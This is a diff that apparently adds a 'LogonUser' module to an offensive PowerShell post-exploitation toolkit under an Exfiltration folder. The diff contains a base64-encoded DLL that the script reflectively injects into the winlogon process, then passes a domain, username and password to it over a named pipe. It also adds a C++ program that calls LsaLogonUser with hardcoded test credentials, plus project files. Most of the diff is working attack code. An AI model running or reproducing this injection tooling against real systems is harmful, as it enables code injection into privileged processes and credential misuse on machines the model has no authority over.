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m8+DQo8L2Fzc2VtYmx5Pg0KAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0AAATAEAAICiiKKQoqiisKK4osCi2KLgouiiWKNoo3ijiKOYo6ijuKPIo9ij6KP4owikGKQopDikSKRYpGikeKSIpJikqKS4pMik2KTopPikCKUYpSilOKVIpVilaKV4pYilmKWopbilyKXYpeil+KUIphimKKY4pkimWKZopnimiKaYpqimuKbIptim6Kb4pginGKcopzinSKdYp2ineKeIp5inqKe4p8in2KfopwioGKgoqDioSKhYqGioeKiIqJioqKi4qMio2KjoqPioCKkYqSipOKlIqVipaKl4qYipmKmoqbipyKnYqeip+KkIqhiqKKo4qkiqWKpoqniqiKqYqqiquKrIqtiq6Kr4qgirGKsoqzirSKtYq2ireKuIq5irqKu4q8ir2Kvoq/irCKwYrCisOKxIrFisaKx4rIismKyorLisyKzYrADgAACUAAAAQKZIplCmWKZgpmimcKZ4poCmiKaQppimoKaoprCmuKbApsim0KbYpuCm6KbwpvimAKcIpxCnGKcgpyinMKdIp1CnWKdgp2incKd4p4CniKeQp5iniKiQqJiouKjAqPioCKkYqSipOKlIqVipaKl4qYipmKmoqbipyKnYqeip+KkIqhiqKKo4qkiqWKoA8AAAGAAAAHiogKiIqJCoqKiwqLiowKgAAAEAcAEAAMCk0KTgpPCkAKUQpSClMKVApVClYKVwpYClkKWgpbClwKXQpeCl8KUAphCmIKYwpkCmUKZgpnCmgKaQpqCmsKbAptCm4KbwpgCnEKcgpzCnQKdQp2CncKeAp5CnoKewp8Cn0Kfgp/CnAKgQqCCoMKhAqFCoYKhwqICokKigqLCowKjQqOCo8KgAqRCpIKkwqUCpUKlgqXCpgKmQqaCpsKnAqdCp4KnwqQCqEKogqjCqQKpQqmCqcKqAqpCqoKqwqsCq0KrgqvCqAKsQqyCrMKtAq1CrYKtwq4CrkKugq7CrwKvQq+Cr8KsArBCsIKwwrECsUKxgrHCsgKyQrKCssKzArNCs4KzwrACtEK0grTCtQK1QrWCtcK2ArZCtoK2wrcCt0K3grfCtAK4QriCuMK5ArlCuYK5wroCukK6grrCuwK7QruCu8K4ArxCvIK8wr0CvUK9gr3CvgK+Qr6CvsK/Ar9Cv4K/wrwAQAQAIAgAAAKAQoCCgMKBAoFCgYKBwoICgkKCgoLCgwKDQoOCg8KAAoRChIKEwoUChUKFgoXChgKGQoaChsKHAodCh4KHwoQCiEKIgojCiQKJQomCicKKAopCioKKwosCi0KLgovCiCKMYoyijOKNIo1ijaKN4o4ijmKOoo7ijyKPYo+ij+KMIpBikKKQ4pEikWKRopHikiKSYpKikuKTIpNik6KT4pAilGKUopTilSKVYpWileKWIpZilqKW4pcil2KXopfilCKYYpiimOKZIplimaKZ4poimmKaoprimyKbYpuim+KYIpxinKKc4p0inWKdop3iniKeYp6inuKfIp9in6Kf4pwioGKgoqDioSKhYqGioeKiIqJioqKi4qMio2KjoqPioCKkYqSipOKlIqVipaKl4qYipmKmoqbipyKnYqeip+KkIqhiqKKo4qkiqWKpoqniqiKqYqqiquKrIqtiq6Kr4qgirGKsoqzirSKtYq2ireKuIq5irqKu4q8ir2Kvoq/irCKwYrCisOKxIrFisaKx4rIismKyorLisyKzYrOis+KwIrRitKK04rUitWK1orXitiK2YraituK3Irdit6K34rQiuGK4orjiuSK5YrmiueK6IrpiuqK64rsiu2K7orviuCK8YryivOK9Ir1ivaK94r4ivmK+or7ivyK/Yr+iv+K8AIAEA9AAAAAigGKAooDigSKBYoGigeKCIoJigqKC4oMig2KDooPigCKEYoSihOKGgrKissKy4rMCsyKzQrNis4KzorPCs+KwArQitEK0YrSCtKK0wrTitQK1IrVCtWK1grWitcK14rYCtiK2QrZitoK2orbCtuK3Arcit0K3YreCt6K3wrfitAK4IrhCuGK4griiuMK44rkCuSK5QrliuYK5ornCueK6AroiukK6YrqCuqK6wrriuwK7IrtCu2K7gruiu8K74rgCvCK8QrxivIK8orzCvOK9Ar0ivUK9Yr2CvaK9wr3ivgK+Ir5CvmK+gr6ivAEABAAwAAADopQAAAHABAIAAAAAAoCigUKB4oKCg0KAQoRihAKNwpXilgKWIpZClmKWgpailsKW4pcinAKsQq9Cu2K7gruiu8K74rgCvCK8QrxivIK8orzCvOK9Ar0ivUK9Yr2CvaK9wr3ivgK+Ir5CvmK+gr6ivsK+4r8CvyK/Qr9iv4K/or/Cv+K8AgAEAvAAAAACgCKAQoBigIKAwoDigQKBIoFCgWKBgoGigcKB4oICgiKCQoJigoKCooLCguKDAoMig0KDYoOCg6KDwoPigAKEIoRChGKEgoSihMKE4oUChSKFQoVihYKFooXCheKGAoYihkKHYofihGKI4oliikKKoorCiuKLAogijEKMYoyCjKKMwozijQKNIo1CjWKNoo3CjeKOAo4ijkKOYo6CjqKOwo8Cj0KMIpECkcKSopLCkuKQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==" + [Byte[]]$Logon32Bit = [Convert]::FromBase64String($Logon32Bit_Base64) + [Byte[]]$Logon64Bit = [Convert]::FromBase64String($Logon64Bit_Base64) + Invoke-ReflectivePEInjection -Bytes32 $Logon32Bit -Bytes64 $Logon64Bit -ProcId $WinLogonProcessId + + + #Send domain, username, and password over the named pipe + [Byte[]]$DomainBytes = [System.Text.UnicodeEncoding]::Unicode.GetBytes($DomainName) + [Byte[]]$UsernameBytes = [System.Text.UnicodeEncoding]::Unicode.GetBytes($UserName) + [Byte[]]$PasswordBytes = [System.Text.UnicodeEncoding]::Unicode.GetBytes($Password) + + $Pipe.WaitForConnection() + + $Pipe.Write($DomainBytes, 0, $DomainBytes.Count) + $Pipe.WaitForPipeDrain() + Write-Verbose "Sent domain" + $Pipe.Write($UsernameBytes, 0, $UsernameBytes.Count) + $Pipe.WaitForPipeDrain() + Write-Verbose "Sent username" + $Pipe.Write($PasswordBytes, 0, $PasswordBytes.Count) + $Pipe.WaitForPipeDrain() + Write-Verbose "Sent password" + $Pipe.WriteByte($LogonTypeNum) + $Pipe.WaitForPipeDrain() + Write-Verbose "Sent logontype" + $Pipe.WriteByte($AuthPackageNum) + $Pipe.WaitForPipeDrain() + Write-Verbose "Sent auth package" + + $RetMessageSize = 1024 + [Byte[]]$ReturnMessageBytes = New-Object Byte[] $RetMessageSize + $ReadBytes = $Pipe.Read($ReturnMessageBytes, 0, $RetMessageSize) + + $ReturnMessage = [System.Text.ASCIIEncoding]::ASCII.GetString($ReturnMessageBytes, 0, $ReadBytes) + Write-Output "DLL OUTPUT: $($ReturnMessage)" + } + finally + { + $Pipe.Dispose() + } +} diff --git a/Exfiltration/LogonUser/LogonUser/LogonUser.sln b/Exfiltration/LogonUser/LogonUser/LogonUser.sln new file mode 100644 index 00000000..890e8335 --- /dev/null +++ b/Exfiltration/LogonUser/LogonUser/LogonUser.sln @@ -0,0 +1,26 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 2012 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "logon", "logon\logon.vcxproj", "{D248AC1C-B831-42AE-835A-1B98B2BF9DF3}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Debug|x64 = Debug|x64 + Release|Win32 = Release|Win32 + Release|x64 = Release|x64 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {D248AC1C-B831-42AE-835A-1B98B2BF9DF3}.Debug|Win32.ActiveCfg = Debug|Win32 + {D248AC1C-B831-42AE-835A-1B98B2BF9DF3}.Debug|Win32.Build.0 = Debug|Win32 + {D248AC1C-B831-42AE-835A-1B98B2BF9DF3}.Debug|x64.ActiveCfg = Debug|x64 + {D248AC1C-B831-42AE-835A-1B98B2BF9DF3}.Debug|x64.Build.0 = Debug|x64 + {D248AC1C-B831-42AE-835A-1B98B2BF9DF3}.Release|Win32.ActiveCfg = Release|Win32 + {D248AC1C-B831-42AE-835A-1B98B2BF9DF3}.Release|Win32.Build.0 = Release|Win32 + {D248AC1C-B831-42AE-835A-1B98B2BF9DF3}.Release|x64.ActiveCfg = Release|x64 + {D248AC1C-B831-42AE-835A-1B98B2BF9DF3}.Release|x64.Build.0 = Release|x64 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/Exfiltration/LogonUser/LogonUser/LogonUser/LogonUser.cpp b/Exfiltration/LogonUser/LogonUser/LogonUser/LogonUser.cpp new file mode 100644 index 00000000..f5b39fdf --- /dev/null +++ b/Exfiltration/LogonUser/LogonUser/LogonUser/LogonUser.cpp @@ -0,0 +1,137 @@ +// LogonUser.cpp : Defines the entry point for the console application. +// + +#include "stdafx.h" + +using namespace std; + +size_t wcsByteLen( const wchar_t* str ); +void InitUnicodeString( UNICODE_STRING& str, const wchar_t* value, BYTE* buffer, size_t& offset ); +PVOID CreateNtlmLogonStructure(wstring domain, wstring username, wstring password, DWORD* size); +size_t WriteUnicodeString(wstring str, UNICODE_STRING* uniStr, PVOID baseAddress, size_t offset); + +int _tmain(int argc, _TCHAR* argv[]) +{ + //Get a handle to LSA + HANDLE hLSA = NULL; + NTSTATUS status = LsaConnectUntrusted(&hLSA); + if (status != 0) + { + cout << "Error calling LsaConnectUntrusted. Error code: " << status << endl; + return -1; + } + if (hLSA == NULL) + { + cout << "hLSA is NULL, this shouldn't ever happen" << endl; + return -1; + } + + //Build LsaLogonUser parameters + LSA_STRING originName = {}; + char originNameStr[] = "qpqp"; + originName.Buffer = originNameStr; + originName.Length = (USHORT)strlen(originNameStr); + originName.MaximumLength = originName.Length; + + ULONG authPackage = 0; + PLSA_STRING authPackageName = new LSA_STRING(); + char authPackageBuf[] = MSV1_0_PACKAGE_NAME; + authPackageName->Buffer = authPackageBuf; + authPackageName->Length = (USHORT)strlen(authPackageBuf); + authPackageName->MaximumLength = (USHORT)strlen(authPackageBuf); + status = LsaLookupAuthenticationPackage(hLSA, authPackageName, &authPackage); + if (status != 0) + { + int winError = LsaNtStatusToWinError(status); + cout << "Call to LsaLookupAuthenticationPackage failed. Error code: " << winError; + return -1; + } + + DWORD authBufferSize = 0; + PVOID authBuffer = CreateNtlmLogonStructure(L"VMWORKSTATION", L"testuser", L"Password1", &authBufferSize); + cout << "authBufferSize: " << authBufferSize << endl; + + //Get TokenSource + HANDLE hProcess = GetCurrentProcess();//todo + HANDLE procToken = NULL; + BOOL success = OpenProcessToken(hProcess, TOKEN_ALL_ACCESS, &procToken); + if (!success) + { + DWORD errorCode = GetLastError(); + cout << "Call to OpenProcessToken failed. Errorcode: " << errorCode << endl; + return -1; + } + + TOKEN_SOURCE tokenSource = {}; + DWORD realSize = 0; + success = GetTokenInformation(procToken, TokenSource, &tokenSource, sizeof(tokenSource), &realSize); + if (!success) + { + cout << "Call to GetTokenInformation failed." << endl; + return -1; + } + + + //Misc + PVOID profileBuffer = NULL; + ULONG profileBufferSize = 0; + LUID loginId; + HANDLE token = NULL; + QUOTA_LIMITS quotaLimits; + NTSTATUS subStatus = 0; + + status = LsaLogonUser(hLSA, + &originName, + RemoteInteractive, + authPackage, + authBuffer, + authBufferSize, + 0, + &tokenSource, + &profileBuffer, + &profileBufferSize, + &loginId, + &token, + "aLimits, + &subStatus); + + if (status != 0) + { + NTSTATUS winError = LsaNtStatusToWinError(status); + cout << "Error calling LsaLogonUser. Error code: " << winError << endl; + return -1; + } + + cout << "Success!" << endl; + + return 1; +} + +//size will be set to the size of the structure created +PVOID CreateNtlmLogonStructure(wstring domain, wstring username, wstring password, DWORD* size) +{ + size_t wcharSize = sizeof(wchar_t); + + size_t totalSize = sizeof(MSV1_0_INTERACTIVE_LOGON) + ((domain.length() + username.length() + password.length()) * wcharSize); + MSV1_0_INTERACTIVE_LOGON* ntlmLogon = (PMSV1_0_INTERACTIVE_LOGON)(new BYTE[totalSize]); + size_t offset = sizeof(MSV1_0_INTERACTIVE_LOGON); + + ntlmLogon->MessageType = MsV1_0InteractiveLogon; + offset += WriteUnicodeString(domain, &(ntlmLogon->LogonDomainName), ntlmLogon, offset); + offset += WriteUnicodeString(username, &(ntlmLogon->UserName), ntlmLogon, offset); + offset += WriteUnicodeString(password, &(ntlmLogon->Password), ntlmLogon, offset); + + *size = (DWORD)totalSize; //If the size is bigger than a DWORD, there is a gigantic bug somewhere. + return ntlmLogon; +} + +size_t WriteUnicodeString(wstring str, UNICODE_STRING* uniStr, PVOID baseAddress, size_t offset) +{ + const wchar_t* buffer = str.c_str(); + size_t size = str.length() * sizeof(wchar_t); + uniStr->Length = (USHORT)size; + uniStr->MaximumLength = (USHORT)size; + uniStr->Buffer = (PWSTR)((UINT_PTR)baseAddress + offset); + memcpy((PVOID)((UINT_PTR)baseAddress + offset), str.c_str(), size); + return size; +} \ No newline at end of file diff --git a/Exfiltration/LogonUser/LogonUser/LogonUser/LogonUser.vcxproj b/Exfiltration/LogonUser/LogonUser/LogonUser/LogonUser.vcxproj new file mode 100644 index 00000000..7fd8de22 --- /dev/null +++ b/Exfiltration/LogonUser/LogonUser/LogonUser/LogonUser.vcxproj @@ -0,0 +1,158 @@ + + + + + Debug + Win32 + + + Debug + x64 + + + Release + Win32 + + + Release + x64 + + + + {F9DC2AAF-2213-4D87-9F52-283DA1CC6E18} + Win32Proj + LogonUser + + + + Application + true + v110 + Unicode + + + Application + true + v110 + Unicode + + + Application + false + v110 + true + Unicode + + + Application + false + v110 + true + Unicode + + + + + + + + + + + + + + + + + + + true + + + true + + + false + + + false + + + + Use + Level3 + Disabled + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + + + Console + true + secur32.lib;%(AdditionalDependencies) + + + + + Use + Level3 + Disabled + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + + + Console + true + secur32.lib;%(AdditionalDependencies) + + + + + Level3 + Use + MaxSpeed + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + + + Console + true + true + true + + + + + Level3 + Use + MaxSpeed + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + + + Console + true + true + true + + + + + + + + + + + + + Create + Create + Create + Create + + + + + + \ No newline at end of file diff --git a/Exfiltration/LogonUser/LogonUser/LogonUser/LogonUser.vcxproj.filters b/Exfiltration/LogonUser/LogonUser/LogonUser/LogonUser.vcxproj.filters new file mode 100644 index 00000000..f92726f4 --- /dev/null +++ b/Exfiltration/LogonUser/LogonUser/LogonUser/LogonUser.vcxproj.filters @@ -0,0 +1,36 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hpp;hxx;hm;inl;inc;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + + + + Header Files + + + Header Files + + + + + Source Files + + + Source Files + + + \ No newline at end of file diff --git a/Exfiltration/LogonUser/LogonUser/LogonUser/ReadMe.txt b/Exfiltration/LogonUser/LogonUser/LogonUser/ReadMe.txt new file mode 100644 index 00000000..8275e56e --- /dev/null +++ b/Exfiltration/LogonUser/LogonUser/LogonUser/ReadMe.txt @@ -0,0 +1,40 @@ +======================================================================== + CONSOLE APPLICATION : LogonUser Project Overview +======================================================================== + +AppWizard has created this LogonUser application for you. + +This file contains a summary of what you will find in each of the files that +make up your LogonUser application. + + +LogonUser.vcxproj + This is the main project file for VC++ projects generated using an Application Wizard. + It contains information about the version of Visual C++ that generated the file, and + information about the platforms, configurations, and project features selected with the + Application Wizard. + +LogonUser.vcxproj.filters + This is the filters file for VC++ projects generated using an Application Wizard. + It contains information about the association between the files in your project + and the filters. This association is used in the IDE to show grouping of files with + similar extensions under a specific node (for e.g. ".cpp" files are associated with the + "Source Files" filter). + +LogonUser.cpp + This is the main application source file. + +///////////////////////////////////////////////////////////////////////////// +Other standard files: + +StdAfx.h, StdAfx.cpp + These files are used to build a precompiled header (PCH) file + named LogonUser.pch and a precompiled types file named StdAfx.obj. + +///////////////////////////////////////////////////////////////////////////// +Other notes: + +AppWizard uses "TODO:" comments to indicate parts of the source code you +should add to or customize. + +///////////////////////////////////////////////////////////////////////////// diff --git a/Exfiltration/LogonUser/LogonUser/LogonUser/stdafx.cpp b/Exfiltration/LogonUser/LogonUser/LogonUser/stdafx.cpp new file mode 100644 index 00000000..d213d3a8 --- /dev/null +++ b/Exfiltration/LogonUser/LogonUser/LogonUser/stdafx.cpp @@ -0,0 +1,8 @@ +// stdafx.cpp : source file that includes just the standard includes +// LogonUser.pch will be the pre-compiled header +// stdafx.obj will contain the pre-compiled type information + +#include "stdafx.h" + +// TODO: reference any additional headers you need in STDAFX.H +// and not in this file diff --git a/Exfiltration/LogonUser/LogonUser/LogonUser/stdafx.h b/Exfiltration/LogonUser/LogonUser/LogonUser/stdafx.h new file 